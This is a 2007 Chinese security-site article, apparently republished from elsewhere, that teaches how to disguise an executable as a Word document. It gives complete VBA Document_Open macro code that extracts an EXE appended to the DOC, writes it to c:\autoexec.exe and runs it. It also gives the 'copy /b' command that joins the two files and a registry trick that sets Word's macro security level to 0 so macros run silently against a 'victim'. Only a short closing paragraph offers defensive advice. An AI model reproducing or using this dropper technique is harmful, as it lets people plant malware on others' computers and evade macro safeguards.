关于我们 广告服务 社区论坛
设为首页 加入收藏

行业新闻
服 务 器
模版下载
建站指南
冲浪宝典
办公软件
网站运营
操作系统
QQ 专题
网页制作
安全防御
视频教程
网络编程
SEO专区
软件下载
图像设计
Cisco
网页特效
Wap 技术
联盟赚钱
网页素材
 首页 | 企业建站 | 网页制作 | 网站运营 | 网络编程 | 图像设计 | 冲浪宝典 | 操作系统 | SEO专区 | 联盟赚钱 | Cisco

欢迎来到e天下网络首页>>安全防御>>黑客技法>>正文|告诉你EXE变DOC的方法

告诉你EXE变DOC的方法

[ 来路:统一教学网    时间:2007-7-21 14:06:15    点击: ]

 

   EXE变DOC的方法

    其实这种转换并不是文件格式上的变化,只不过是把一个EXE文件接在一个DOC文件的末尾而已,这个DOC文件当然就不是不同WORD的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的EXE文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了EXE文件似的.(和文件捆绑器的原理很象啊!) 


    熟悉VB的朋友都知道,WORD的宏是使用VBA来编写的,具体语法和VB一样,但有些方法VB中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和VB一样,我们可以在编写宏的时候调用WINDOWS API!!下面我们来介绍一下我们编写这个宏需要用到的API函数:

1)CreateFile 用于打开文件,该函数VB的声明如下:
Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long


2)CloseHandle 用于关闭被打开文件的句柄,该函数VB的声明如下:
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long


3)ReadFile 用于从被打开文件中读取数据,该函数VB的声明如下:

Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long


4)WriteFile 用于把读取出的数据写入文件,该函数VB的声明如下:

Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long


5)SetFilePoniter移动文件指针,该函数VB的声明如下:

Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByVal lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long


6)下面是以上函数的参数声明

Public Const GENERIC_READ As Long = &H80000000

Public Const GENERIC_WRITE As Long = &H40000000

Public Const FILE_SHARE_READ As Long = 1

Public Const FILE_SHARE_WRITE As Long = 2

Public Const CREATE_NEW As Long = 1

Public Const CREATE_ALWAYS As Long = 2

Public Const OPEN_EXISTING As Long = 3

Public Const OPEN_ALWAYS As Long = 4

Public Const TRUNCATE_EXISTING As Long = 5

Public Const INVALID_HANDLE_VALUE As Long = -1

Public Const FILE_ATTRIBUTE_NORMAL As Long = &H80 


    好了,有了这些准备工作就可以开始了,我们运行WORD2000,打开VISUAL BASIC编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“ThisDocument”的代码视图,选择Document Open的事件,输入一下代码:


Private Sub Document_Open()

Dim buffer(65536) As Byte

Dim h, h2, j, i, k As Long

h = CreateFile(ThisDocument.Path & "/" & ThisDocument.Name, GENERIC_READ, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)

‘以SHARE_READ的方式打开自身的DOC文件

h2 = CreateFile("c:\autoexec.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0)

‘新建一个EXE文件准备存放读取出来的数据.

If h = INVALID_HANDLE_VALUE Then

Exit Sub

End If

k = SetFilePointer(h, 32768, nil, 0)

‘把文件指针移动到DOC文件与EXE文件交界处.

Do

i = ReadFile(h, buffer(0), 65536, j, 0)

i = WriteFile(h2, buffer(0), j, j, 0)

Loop Until j < 65536

CloseHandle (h)

CloseHandle (h2)

Shell "c:\autoexec.exe"

‘运行EXE文件

End Sub 

    这样宏就编写好了,注意的地方就是上面SetFilePointer函数的使用部分:32768是你编写完宏保存好的DOC文件的文件大小,不一顶就是32768哦,大家注意! 


    大家可能有疑问,如何把EXE文件接到DOC文件后面呢?很简单,把你要接的EXE放到和这个DOC文件同一个目录下.运行DOC命令:


copy /b xxxx.doc + xxxxx.exe newdoc.doc 


    这样就可以了~~~.当你打开这个NEWDOC.DOC的时候,宏就会把后面的EXE文件读出来并保存在C:\AUTOEXEC.EXE中,然后运行,是不是很恐怖啊!不过这需要你的WORD2000安全度为最低的时候才能实现,关于这个安全度的问题,我们又发现了微软的小BUG,大家看看注册表中这个键:


HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security 中的 

    Level值.当安全度是3(高)的时候,WORD不会运行任何的宏,2(中)的时候WORD会询问你是否运行宏,1(低)的时候WORD就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值变为0的时候会怎么样!!??对了!如果设为0的话,WORD里面就会显示安全度为高,但却能自动运行任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是MS的后门吧? 


    如果要受害人的机器接受你的DOC文件又能顺利运行,最重要就是把WORD的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是IE的恶意代码能实现的都太多了,另外,如果网页上连接上是DOC的话,IE也会自动下载该DOC文件!危险的MS啊!!


    这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用WORD?太消极了吧,最重要的是小心防范,陌生人的东西千万不要收!包括非EXE文件,我们现在发现了DOC文件能隐藏EXE文件,也会有人发现其他文件能隐藏EXE,所以大家千万要小心.

::::站长友情提示:多花一分钟学点什么都好::::

 

上一篇:域名欺骗技术实现的过程  下一篇:移花接木 藏于“文本文件”的阴谋

 ::热点信息::

 

= = 免责声明 = =

① 欢迎转载我网所刊信息,请注明“来源:E天下网络”。
② 凡本网注明“来源:XXX(非E天下网络)”的作品,均转载自其它媒体,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。如因作品内容、版权和其它问题需要同本网联系的,请在30日内进行。
※联系方式:Airtofly@163.com

::推荐文章::

 

实例为大家讲解 黑客入侵论坛各

::视频教程::

 

Photoshop Dreamweaver
Flash MX Fireworks
Office AutoCAD
FrontPage CORELDRAW
用Dreamweaver开发ASP—建立
用Dreamweaver开发ASP—建立
用Dreamweaver开发ASP—建立
用Dreamweaver开发ASP—高级
用Dreamweaver开发ASP—限制
用Dreamweaver开发ASP—删除
用Dreamweaver开发ASP—修改
用Dreamweaver开发ASP—显示
更多内容..

 

 

关于我们 广告服务 友情链接 合作伙伴 社区论坛 免责声明

Copyright © 2007   21kn.com Inc. All rights reserved.e天下网络工作室

网站白天客服QQ:26875416 (非24小时)  合作QQ:597004688    粤ICP备06026423号